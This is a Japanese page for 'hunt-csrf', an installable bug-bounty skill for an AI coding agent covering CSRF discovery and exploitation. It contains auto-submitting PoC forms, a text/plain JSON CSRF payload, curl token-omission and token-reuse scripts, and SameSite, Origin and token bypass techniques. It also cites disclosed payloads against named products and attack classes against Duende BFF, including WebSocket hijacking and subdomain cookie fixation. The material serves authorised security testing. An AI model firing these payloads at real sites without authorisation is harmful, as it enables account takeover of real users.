hunt-csrf について
hunt-csrfは、Webの状態変更フローにおけるCSRFを発見・検証するセキュリティテスト用スキルです。実ブラウザーでの再現、Cookieの挙動、具体的な影響の確認を重視します。
主な機能
- 01状態変更エンドポイントの整理
- 02SameSite Cookieの挙動評価
- 03CSRFトークンの検証と再利用テスト
- 04ブラウザーでの検証ページ作成
- 05アカウントとデータへの影響評価
活用シーン
- 01アカウント設定やメール変更のテスト
- 02OAuthやソーシャルアカウント連携の評価
- 03JSON APIのクロスサイト状態変更確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-csrfインストール後、Claude Code で/hunt-csrfを入力して読み込まれたか確認します。
詳細
使用する場面
ログイン済みユーザーが実行できる、状態を変更するエンドポイントが対象にある場合に使用します。たとえば、アカウント設定、メールアドレスの変更、ソーシャルアカウントの連携、OAuth フロー、API 呼び出し、ファイル操作に対する POST/PUT/DELETE です。CSRF は、クロスオリジンリクエストを偽造することで、ユーザーのブラウザーに対するサイトの信頼を悪用します。すべてのフォーム送信、AJAX 呼び出し、OAuth コールバック、API の変更操作が攻撃候補となります。特に価値の高い標的は、アカウント乗っ取りにつながる経路(OAuth/SSO フロー、ソーシャルアカウントの連携)、認証基盤(ログイン CSRF、セッション固定)、クロスオリジン POST を受け付ける JSON API、サードパーティ連携(Grafana、監視ダッシュボード)です。
⚠️ 重大:curl ≠ ブラウザー。ブラウザーのセキュリティモデルを考慮してください。
CSRF の PoC は curl だけでなく、実際のブラウザーで動作しなければなりません。 ブラウザーは、curl が無視するルールを適用します。
| ブラウザーのルール | curl の動作 | 実際の CSRF への影響 |
|---|---|---|
SameSite=Lax | curl は Cookie を送信する | クロスサイト POST では Cookie をブロック — CSRF は成立しません |
SameSite=Strict | curl は Cookie を送信する | すべてのクロスサイトリクエストで Cookie をブロック — CSRF は成立しません |
| CORS プリフライト | curl は OPTIONS を省略する | Content-Type: application/json の場合、ブラウザーはブロックします |
Sec-Fetch-Site: cross-site | curl は送信しない | サーバーはこのヘッダーを使ってクロスサイトリクエストを拒否できます |
CSRF 検証チェックリスト:
- ✅ エンドポイントが状態を変更する(POST/PUT/DELETE)
- ✅ Cookie が
SameSite=Noneを設定している、または GET ベースの操作でSameSite=Laxを設定している - ✅ カスタム CSRF トークン/ヘッダーを要求しない
- ✅ 実際のブラウザーで異なるオリジンから PoC が動作する
手順 2 を満たさない場合(POST エンドポイントで SameSite=Lax)→ curl だけでは CSRF を悪用できません。 SameSite=Lax ではトップレベルのナビゲーション GET で Cookie が許可されますが、クロスサイト POST では許可されません。Cookie を付けた curl POST が成功しても、これは誤検知です。ブラウザーではブロックされます。
CSRF ミドルウェアの保護回避:
- CSRF 保護が既定で有効なフレームワークなど、多くの最新の Web フレームワークは、CSRF トークンがない、または無効な場合に、POST、PUT、DELETE などの状態変更リクエストを
403 Forbiddenで拒否します。 - アプリケーションによっては、
PATCHメソッドが同じ CSRF ミドルウェアの対象外であるか、異なる方法で処理される場合があります。その場合、代わりに PATCH を使って同じ状態変更操作を実行できる可能性があります。サーバーが CSRF トークンを検証せずにリクエストを受け付けると、CSRF 保護を回避できてしまいます。
SameSite チートシート:
| Cookie 属性 | ブラウザーが Cookie を送信する場面 |
|---|---|
SameSite=None | すべてのクロスサイトリクエスト(Secure が必要) |
SameSite=Lax | クロスサイト GET(トップレベルのナビゲーションのみ)。POST はブロック |
SameSite=Strict | 同一サイトのみ。クロスサイトのリクエストはすべてブロック |
| 未設定(既定値) | 最新のブラウザーでは Lax として扱われます |
最重要ターゲット
アカウントレベルまたは金銭面に影響する状態変更操作に関わる場合、CSRF の価値は高まります。特に報奨金が高い標的は次のとおりです。
- アカウント乗っ取りにつながる経路:OAuth/SSO フロー(RelayState の改ざん)、ソーシャルアカウントの連携/解除(Oculus-Facebook、SocialClub)、OAuth トークンを漏えいさせる友達インポート機能
- 認証基盤:ログイン CSRF、CSRF によるセッション固定、アカウント関連付けの強制
- クロスオリジン POST を受け付ける API エンドポイント:JSON API、ハートビート/アクティビティ API、Content-Type の検証を省略するあらゆるエンドポイント
- サードパーティ連携:Grafana、監視ダッシュボード、埋め込み分析機能 — CSRF 保護への対応が遅れていることがよくあります
- ソーシャルプラットフォーム:Twitter/X のコレクション、友達のインポート、ソーシャルグラフの変更 — 大量に実行でき、認証済みで、実際のユーザーに影響する操作です
特に報奨金が高いアセットの種類: 中核製品の認証フロー > API ゲートウェイ > サブドメイン上で動作するサードパーティ連携 > 管理パネル。
攻撃対象領域の兆候
URL パターン
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)
レスポンスヘッダーの兆候
# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # dangerous combo
JS/DOM パターン
// Static or predictable CSRF tokens
meta[name="csrf-token"] // grep if value changes across sessions
authenticity_token // Rails — check if reused across page loads
// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
// No CSRF token in form at all
<form method="POST" action="/accounts/link"> // no hidden token field
技術スタックの手がかり
- Rails アプリ:
authenticity_tokenを探し、セッションごとに固定されているかテストします - Django アプリ:
csrfmiddlewaretokenを確認し、異なるユーザー/セッション間で再利用できるかテストします - Grafana インスタンス:CVE-2022-21703 を確認し、
/api/healthでバージョンを調べます - SAMLv2/OIDC フロー:
RelayStateパラメーターは検証されないことがよくあります - Express/Node API:
/api/*ルートでは CSRF ミドルウェアが省略されることがよくあります
手順に沿った調査方法
-
状態を変更するすべてのエンドポイントをマッピングする — 認証済みセッションを使ってクローリングし、POST/PUT/DELETE/PATCH を抽出します。すべてのフォームと AJAX 呼び出しを記録します。
-
Cookie の SameSite 属性を確認する — DevTools → Application → Cookies で確認します。
SameSite=StrictまたはLaxが設定されていないセッション Cookie にフラグを立てます。 -
トークンが固定されているかテストする — 2 回ログインします(異なるセッションまたはシークレットモードを使用)。次の条件で
authenticity_token/csrfmiddlewaretoken/csrf-tokenの値を比較します:- 同じセッションで異なるページを読み込む場合(値は異なるはずです)
- 同じユーザーの異なるセッション間
- 完全に異なるユーザー間
-
トークンを省略してテストする — POST リクエストから CSRF トークンフィールドを完全に削除します。サーバーが 200 を返した場合、CSRF 脆弱性があります。
-
トークンのすり替えをテストする — トークンを別のセッションのものに置き換えます。サーバーが受け入れた場合、検証に問題があります。
-
フォーム POST による CSRF について JSON エンドポイントをテストする — Content-Type が強制されているか確認します:
- JSON エンドポイントに
application/x-www-form-urlencodedを送信する - JSON ボディとともに
text/plainを送信する - 受け入れられる場合、HTML フォームからクロスオリジンで実行できます
- JSON エンドポイントに
-
OAuth/SSO の RelayState を調査する — SAML/OIDC フローを傍受します。
RelayStateが同一オリジンか検証するかをテストします。外部 URL を挿入します。 -
ソーシャルアカウント連携フローを確認する — 「X アカウントを連携する」機能をすべて確認します。リダイレクトベースの OAuth を使用することが多く、コールバックで CSRF が発生すると、攻撃者のソーシャルアカウントが紐付けられる可能性があります。
-
サブドメイン上のサードパーティ製ダッシュボードをテストする — Grafana、Kibana、Prometheus を確認します。バージョンを調べ、既知の CVE を適用し、デフォルトの CSRF 対策をテストします。
-
PoC HTML ページを作成する — 別のオリジンでホストしてリクエストを発行し、Cookie が送信され、操作が実行されることを確認します。
ペイロードと検出パターン
基本的な CSRF PoC(フォーム POST)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/v1/account/link">
<input type="hidden" name="provider" value="attacker_account_id" />
<input type="hidden" name="token" value="oauth_token_here" />
</form>
</body>
</html>
text/plain 経由の JSON CSRF(Content-Type チェックを回避)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/heartbeat"
enctype="text/plain">
<input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
</form>
</body>
</html>
curl:CSRF トークンの省略をテスト
# Capture a valid request, then replay without token
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/email \
-H "Cookie: session=YOUR_SESSION" \
-d "[email protected]" \
-v 2>&1 | grep -E "HTTP|location|error"
curl:セッション間でのトークン再利用をテスト
# Get token from session A
TOKEN_A=$(curl --max-time 30 --connect-timeout 10 -s https://target.com/settings -H "Cookie: session=SESSION_A" \
| grep -Eo 'authenticity_token[^"]*value="\K[^"]+')
# Use token A in session B's request
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/update \
-H "Cookie: session=SESSION_B" \
-d "authenticity_token=$TOKEN_A&[email protected]" \
-v
偵察用 grep パターン
# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"
# Check SameSite in response headers
curl --max-time 30 --connect-timeout 10 -sI https://target.com/login | grep -i "set-cookie"
# Find RelayState parameters
grep -r "RelayState" --include="*.js" .
Grafana CVE-2022-21703 のバージョン確認
curl --max-time 30 --connect-timeout 10 -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15
よくある根本原因
-
セッションごとに固定された CSRF トークン — 開発者がログイン時にトークンを 1 つ生成し、それを再利用します。Airbnb の不具合では、セッション中のすべてのページ読み込みで
authenticity_tokenが同じだったため、簡単に漏えいする可能性がありました。 -
トークンがユーザー ID に紐付いていない — トークンがサーバー全体で有効であるか、ユーザー/セッションごとではなく一定のスケジュールでローテーションされます。Mozilla の不具合では、
csrftokenをユーザー間で再利用できました。 -
「二次的な」エンドポイントでトークンが欠落している — 開発者はログイン/サインアップを保護しても、API エンドポイント、インポートフロー、Webhook ハンドラーを忘れてしまいます。
-
JSON API は安全だという思い込み —
Content-Type: application/jsonによって CSRF を防げるという認識です。これは CORS プリフライトによって防げますが、サーバーがtext/plainまたはapplication/x-www-form-urlencodedも受け入れる場合は例外です。 -
クロスサイト埋め込み用の SameSite=None — 開発者が iframe 埋め込みやサードパーティ連携をサポートするために
SameSite=Noneを設定し、意図せず CSRF を再び可能にしてしまいます。 -
OAuth の RelayState が検証されていない — 開発者は SAML/OIDC を実装しても、
RelayStateを暗号学的に紐付ける必要がある CSRF 状態パラメーターではなく、リダイレクトのヒントとして扱います。 -
フレームワークの設定ミス — 「API クライアントには不要」という理由で、Django/Rails の
/api/*ルートから CSRF ミドルウェアが除外されていますが、ブラウザー上で動作する JS クライアントには必要です。 -
サードパーティソフトウェアのデフォルト設定 — Grafana、Kibana、Jenkins は古いバージョンでは CSRF 対策が弱い、または存在しない状態で提供されていましたが、チームがパッチ適用や確認を行っていません。
バイパス手法
防御策:SameSite=Lax Cookie
**回避方法:**トップレベルのナビゲーションによる GET リクエストは引き続き機能します。機密性の高いアクションを GET 経由で実行できる場合(またはリダイレクトチェーンによって POST が GET に変換される場合)、Lax では保護できません。また、サブドメインから親ドメインの Cookie を設定することも可能です。
防御策:CSRF トークンの存在
回避方法:
- トークンがセッションごとに固定されている — XSS、Referer の漏えい、またはキャッシュされたページを介して盗みます
- トークンがサーバー側で検証されていない — 削除して試します
- トークンが長さや形式だけで検証されている — 形式は正しい偽の値を送信します
- トークンがセッションに紐付いているが、セッションが予測可能
防御策:Content-Type: application/json の強制
**回避方法:**巧妙に細工したフォーム入力名を使い、有効な JSON を生成する text/plain の enctype を使用します。サーバーは JSON 本文を受信し、CORS のプリフライトをスキップします。
防御策:Referer/Origin ヘッダーのチェック
回避方法:
- Null Origin:サンドボックス化された iframe(
<iframe sandbox="allow-scripts allow-forms">)を使用します - サブドメインによる回避:
*.target.comが信頼されており、いずれかのサブドメインで XSS を実行できる場合 - Referer の削除:HTTPS から HTTP への遷移では Referer ヘッダーが削除されます
- 弱い照合:
target.com.evil.comが単純な文字列照合を通過します
防御策:二重送信 Cookie パターン
**回避方法:**攻撃者が Cookie を設定できる場合(サブドメイン乗っ取り、HTTP 経由の Cookie インジェクション)、Cookie とフォームフィールドの両方に、攻撃者が制御する一致した値を設定できます。
防御策:カスタムリクエストヘッダー(例:X-Requested-With)
**回避方法:**単純なリクエスト(フォーム POST、text/plain)ではプリフライトが発生せず、カスタムヘッダーも設定できません。ただし、一部のサーバーはヘッダーの値ではなく 存在 だけを確認し、一部のフレームワークはヘッダーなしのリクエストを受け入れます。
ゲート 0 の検証
-
攻撃者は今、何ができますか? — 攻撃者は、URL またはページへのアクセス以外に何の操作もさせずに、被害者に代わって特定の状態変更アクション(アカウントのリンク、メールアドレスの変更、データの削除、ソーシャルアカウントの紐付け)を実行できなければなりません。
-
被害者は何を失いますか? — 具体的な被害を特定します。アカウントへのアクセス(ATO)、データの露出、金銭的損失、評判の毀損などです。「CSRF トークンがない」は影響ではありません。「攻撃者が自分の Oculus アカウントを被害者の Facebook アカウントにリンクし、プロフィール全体にアクセスできる」が影響です。
-
何もない状態から 10 分以内に再現できますか? — 次のことをすべて、追加の前提条件なしに 10 分以内に実行できなければなりません:(a)攻撃者アカウントと被害者アカウントを作成する、(b)静的な HTML PoC をホストする、(c)被害者に PoC を訪問させる、(d)被害者のアカウントでアクションが実行されたことを確認する。
実際の影響例
シナリオ 1:友達のインポートによるソーシャルアカウントの乗っ取り(Rockstar Games)
攻撃者は、「友達のインポート」OAuth 統合を標的にした悪意のあるページを作成しました。認証済みの SocialClub ユーザーがそのページを訪問すると、CSRF によって攻撃者が制御するソーシャルアカウントとの OAuth トークン交換がトリガーされました。被害者の SocialClub アカウントは、攻撃者の Facebook/ソーシャル ID と恒久的にリンクされ、被害者に知られることなくアカウント全体へのアクセスが可能になりました。アカウントが完全に侵害される経路が成立するため、深刻度は高と評価されました。
シナリオ 2:Oculus 統合の CSRF による Facebook アカウントの乗っ取り
Oculus と Facebook のアカウント連携時に、OAuth コールバックで CSRF の state が適切に検証されていませんでした。攻撃者は、Oculus の連携フローを開始した認証済み Facebook ユーザーが読み込むと、攻撃者の Oculus デバイスの認証情報を被害者の Facebook アカウントに紐付ける URL を作成できました。その後、攻撃者は Oculus アプリを通じて被害者の Facebook プロフィールに継続的にアクセスできました。この攻撃に必要なのは、被害者が Facebook にログインした状態でリンクをクリックすることだけでした。
シナリオ 3:ハートビート/アクティビティ追跡における JSON API の CSRF
application/json を受け付ける POST エンドポイントは、開発者によって CSRF に対して安全だと想定されていました。ある研究者は、送信時に構文的に有効な JSON が生成されるように設計した入力名を使い、enctype="text/plain" を指定した HTML フォームを作成しました。ブラウザーはプリフライトなしでクロスオリジンリクエストを送信し(カスタムヘッダーはなく、text/plain はシンプルリクエストです)、Cookie も付与されました。サーバーは JSON 本文を正規のものとして処理し、被害者のアカウント ID のもとで攻撃者が制御するアクティビティデータを密かに記録しました。
開示済みレポートの引用(追加分 +5 — 2020-2024)
以下の実在する検証済みバグバウンティ/協調的開示の事例を、このスキルに追加します。4件はCSRFから完全なATOへとつながり、5件すべてがSameSite時代の最新事例です。
-
Argo CD — サブドメイン間の回避+Content-Typeの悪用によるSameSite=Laxの回避(CVE-2024-22424)(GHSA-92mw-q256-5vwg · 解説記事)
- サブクラス:SameSite=None/Laxの設定ミスを利用した連鎖 — 同じ親ドメインを利用した回避+Content-Typeの検証不足によるJSON CSRF
- ペイロード:
marketing.victim.com上にホストし、argocd.internal.victim.comを標的とする →fetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'}) - 根本原因:Argo CDは
Content-Type: application/jsonを強制しておらず、攻撃者が共通の親ドメイン配下の任意のサブドメインを制御できる場合、SameSite=Laxは意味をなしませんでした - 年:2023年に報告、2024年1月に2.7.16/2.8.8/2.9.4で修正
-
GitLab — GETに変換されたミューテーションによる
/api/graphqlへのCSRF(H1 #1122408)- サブクラス:GETで状態を変更するエンドポイント(GETリクエストによるGraphQLミューテーション)
- ペイロード:
<img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}"> - 根本原因:HTTPメソッドがGETの場合、バックエンドは
X-CSRF-Tokenの検証をスキップしていました。GraphQLはクエリ文字列?query=mutation{...}によるミューテーションを受け付けていました - 年:2021年 — $3,370
-
Stripe Dashboard — コード変更によりCSRFミドルウェアが無効化(H1 #1483327)
- サブクラス:フレームワークの設定ミス — ミドルウェアがグローバルに無効化
- ペイロード:
<form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form>+自動送信スクリプト - 根本原因:2022-02-14のデプロイにより、Stripe DashboardのすべてのエンドポイントでCSRFミドルウェアが意図せず無効になりました
- 年:2022年 — $5,000(研究者2名に$2,500ずつ)
-
GitHub Enterprise Server — パストラバーサルによるCSRF回避(CVE-2022-23732)(H1 #1497169)
- サブクラス:CSRFトークン検証の回避(パストラバーサルにより、トークンチェックをすり抜けてリクエストを送信)
- ペイロード:
<form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form> - 根本原因:ルーターは実行時にはトラバーサル後のパスを、CSRF保護の範囲判定にはトラバーサル前のパスを照合していたため、有効なトークンなしで保護対象のエンドポイントに到達できました
- 年:2022年 — $10,000
-
HackerOne自身 — ソーシャルアカウント連携へのCSRF → ATO(H1 #1727221)
- サブクラス:アカウント連携へのCSRF(stateの紐付けなしでソーシャルプロバイダーを追加)
- ペイロード:
<img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE">— 被害者のブラウザーが、攻撃者が開始した連携フローを完了します - 根本原因:OAuth連携コールバックに紐付くトークンが試行間で再利用されていたか、ユーザーに紐付いていなかったため、攻撃者が発行した連携コールバックが被害者のセッションで受け入れられました。攻撃者のGoogleアカウントが有効なログイン手段となり、ATOが成立します
- 年:2022年 — H1自身のプログラムでは情報提供レベルの対象でしたが、PoCは公開済み
Duende BFF — ロール分割型アンチフォージェリ(2024-2026年の仕様)
Duende BFF(IdentityServer4の商用後継)は、SPA向けの標準的なASP.NET Core BFFライブラリです。そのアンチフォージェリの仕組みは非標準で、ユーザーに紐付いていません。ASP.NET Coreのセッション/ユーザーごとのダブルサブミットトークンの代わりに、DuendeはBFFにマッピングされたすべてのエンドポイントで、静的なヘッダー X-CSRF: 1 の存在のみを要求します。ヘッダー値はすべての呼び出し元で同一です。これはクロスオリジン呼び出しでCORSプリフライトを強制するためだけに存在します。これによりCSRF防御は「同一オリジン+セッションCookieの存在」だけになり、1つのBFFが複数の権限区分にサービスを提供する場合、いくつかの異なる攻撃パターンが生じます。
アーキテクチャの概要: ブラウザー↔BFF間の認証には、暗号化されたHttpOnlyセッションCookie(デフォルトは .AspNetCore.Cookies)を使用します。BFF↔API間では、OAuthトークンをサーバー側にキャッシュして使用します。MapBffManagementEndpoints / MapRemoteBffApiEndpoint / MapBffApiEndpoint で登録されたエンドポイントは、X-CSRF: 1 とセッションの存在のみを検証します。それ以外は検証しません。(docs.duendesoftware.com/bff、Duende blog Mar 2025)
攻撃クラス1 — X-CSRF: 1 はユーザーに紐付いていないため、同一オリジンでロールをまたいだリプレイが成功する
1つのBFFが /admin/* と /user/* の区分にサービスを提供する場合、アンチフォージェリの仕組みではロールAとロールBを区別できません。被害者が管理者ロールを持っていれば、X-CSRF: 1 を付けたXHRを送信できる同一オリジンのスクリプトは、どれも管理者エンドポイントに到達できます。標準のASP.NET Coreアンチフォージェリ(トークンを HttpContext.User.Identity.Name に紐付け、IDが変更されると拒否します)なら適切に対処できますが、Duende BFFでは対処できません。(docs.duendesoftware.com/bff/fundamentals/options)
ペイロードの形: ログイン済みの低権限セッションから、fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}}) を実行します。被害者のセッションがたまたま管理者ロールを持ち、攻撃者が何らかの同一オリジンのスクリプト(セルフXSS、サブドメイン乗っ取りによるJS、依存関係の混同)を実行できれば成功します。
攻撃クラス2 — SignalR/WebSocketの例外(/negotiate の抜け道)
ブラウザーのWebSocketはカスタムヘッダーを送信できないため、アップグレード時に X-CSRF: 1 を強制できません。開発者は、BFFのアンチフォージェリからSignalRハブのパスを除外する(MapHub<X>().DisableAntiforgery() を指定する、またはBFF以外のエンドポイントとして登録する)ことで、日常的に回避しています。除外すると、あらゆる同一サイトオリジン(乗っ取られた兄弟サブドメインや、保存型XSSのページを含む)から、ブラウザーに自動送信されるセッションCookieを使ってWSを開けるため、WebSocket経由のCSRFで状態を変更するハブメソッドを呼び出せます。
ペイロードの形: クロスオリジンのページで new WebSocket("wss://bff.example.com/hubs/admin") を開きます。ブラウザーはセッションCookieを送信し、X-CSRF は不要なため、攻撃者は標準のSignalR JSONフレーム経由で DeleteUser(id) を呼び出します。(DuendeArchive/Support#972、learn.microsoft.com/aspnet/core/signalr/security)
攻撃クラス3 — Cookieドメインのワイルドカード化により、サブドメインの乗っ取りがセッション固定化につながる
BFFセッションCookieはデフォルトでホスト限定ですが、開発者は app.example.com と admin.example.com 間でログインを共有するため、よく options.Cookie.Domain = ".example.com" に上書きします。これにより、__Host- プレフィックスによる保護が失われます。legacy.example.com(無効化済みのHeroku/S3を指すCNAME)を乗っ取る → Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com を設定する → 被害者が攻撃者のセッションを持ったまま app.example.com にアクセスする、という手順でセッション固定化によるアカウント乗っ取りが発生します。(nestenius.se BFF cookie hardening)
証拠の強さ
2026-05 時点で、Duende.BFF に直接関連する CVE はありません。上記の 3 つのクラスは、設計レベル/文書化された動作であり、同居するプリミティブ(同一オリジンでのスクリプト実行、SignalR の除外設定、またはサブドメインの乗っ取り)と組み合わさることで、実際の脆弱性になります。報告する際の深刻度は、CVE の引用よりも、攻撃チェーンがもたらすビジネス上の影響を重視してください。Duende エコシステム内で確認されている関連 CVE:CVE-2025-26620(Duende.AccessTokenManagement の競合状態)、CVE-2024-51987(Duende.AccessTokenManagement.OpenIdConnect の更新後に誤ったトークンが使用される問題)、CVE-2024-39694(Duende.IdentityServer のオープンリダイレクト)。(GitHub の Duende アドバイザリ)
ハンティングチェックリスト
curl --max-time 30 --connect-timeout 10 https://target/bff/user -H 'X-CSRF: 1' -b '<session>'— 内部 ID、ロール名、テナント ID など、クレーム一式をすべて取得します(単体でも情報漏えいです)。/bff/loginのコールバックに対するSet-Cookieを確認します —Domain=属性(__Host-プレフィックスとの比較)に注意します。Secure/HttpOnlyの欠落にも注意します。- 低権限のセッションから、
X-CSRF: 1を付けて管理者用パーティションへの POST を再送信し、ロールごとのトークンバインディングがないことを確認します。 - SignalR/WS ハブ(
/hubs/*、/signalr/*)を列挙します —X-CSRFなしで接続できるか確認します。101 Switching Protocols が返る場合、CSWSH 型攻撃が可能です。 - BFF Cookie に
Domain=.example.comがある場合、サブドメインを棚卸しし、*.example.comを対象に DNS 乗っ取りスキャンを実行します。
検証
- CSRF フォームの生成 — HTML フォームのテンプレートを確認します:
echo '<form method="POST" action="https://target.com/endpoint"><input name="csrf_test" value="1"></form>' | grep -q "form method" && echo "PASS" || echo "FAIL" - SameSite Cookie の検出 — SameSite の認識を確認します:
echo "Set-Cookie: session=abc; SameSite=Lax" | grep -q "SameSite" && echo "PASS: SameSite recognized" || echo "FAIL"
すべてのテストで CSRF のプローブを検証します。
落とし穴
- ログアウト時の CSRF — ログアウト CSRF は、せいぜい情報提供にとどまります。セッション固定と組み合わせない限り、実質的な影響はありません。
- SameSite=Lax のバイパスに関する思い込み — Lax Cookie はトップレベルの GET ナビゲーションで送信されます。フォームの GET による CSRF が機能する可能性はあります。
- 検証テストなしの CSRF トークン — トークンを削除して 200 が返っても、検証が欠落している証拠にはなりません。エンドポイントが別の仕組み(二重送信 Cookie、カスタムヘッダー)を使用している可能性があります。
- Content-Type のバイパス — サーバーが
Content-Type: application/jsonのみを確認している場合は、JSON 本文をtext/plainで送信するか、JSON に似た構造のフォームエンコード形式を試してください。 - CORS のプリフライトバイパス ≠ CSRF — CORS の OPTIONS プリフライトをバイパスしても、自動的に CSRF が可能になるわけではありません。異なる攻撃クラスです。
関連スキルとチェーン
hunt-xss— 信頼されたオリジン上の XSS は、CSRF 防御(トークン、SameSite、Origin チェック)を即座に無効化します。チェーンのプリミティブ:XSS がmeta[name=csrf-token]の値を読み取り、攻撃者のペイロードとともに/accounts/emailへ同一オリジンの fetch を実行します → 攻撃者ページからの postMessage をワンクリックで送信し、保存型 XSS をトリガーして状態変更を実行させることで ATO が成立します。hunt-auth-bypass— CSRF を認証バイパスのプリミティブと組み合わせると、攻撃者側のスクリプトが追加認証を要求されるはずの状態変更を実行できます。チェーンのプリミティブ:/settings/passwordへの CSRF により再認証チェックをスキップするエンドポイントに到達します → 被害者が現在のパスワードを一度も入力しなくてもパスワード変更が実行されます → ATO が成立します。hunt-oauth— OAuth/SAML のstate/RelayStateは構造上 CSRF トークンです。ここで検証が欠落している場合、アカウント連携 CSRF になります。チェーンのプリミティブ:攻撃者が自分のアカウントで OAuth を開始し、被害者に/callback?code=X&state=の URL を送ります → ログイン中の被害者のブラウザーが連携を完了します → 攻撃者のソーシャル ID が被害者のアカウントを制御するようになります。security-arsenal— 一から作成する前に、CSRF の PoC テンプレート(フォーム POST、enctype=text/plainの JSON、サンドボックス化された iframe の null-origin、base64 マルチパートバイパス)を利用してください。Origin/Referer チェック用の WAF バイパスヘッダーのバリエーションも用意されています。triage-validation— ログアウトエンドポイント、または状態変更を伴わないアクションに対して CSRF を報告する前に、Pre-Severity Gate を実行してください。これらは N/A となる典型的なケースです。単に「リクエストが実行された」だけでなく、被害者が具体的な損失(アカウントへのアクセス、金銭、データ)を被ることを確認してください。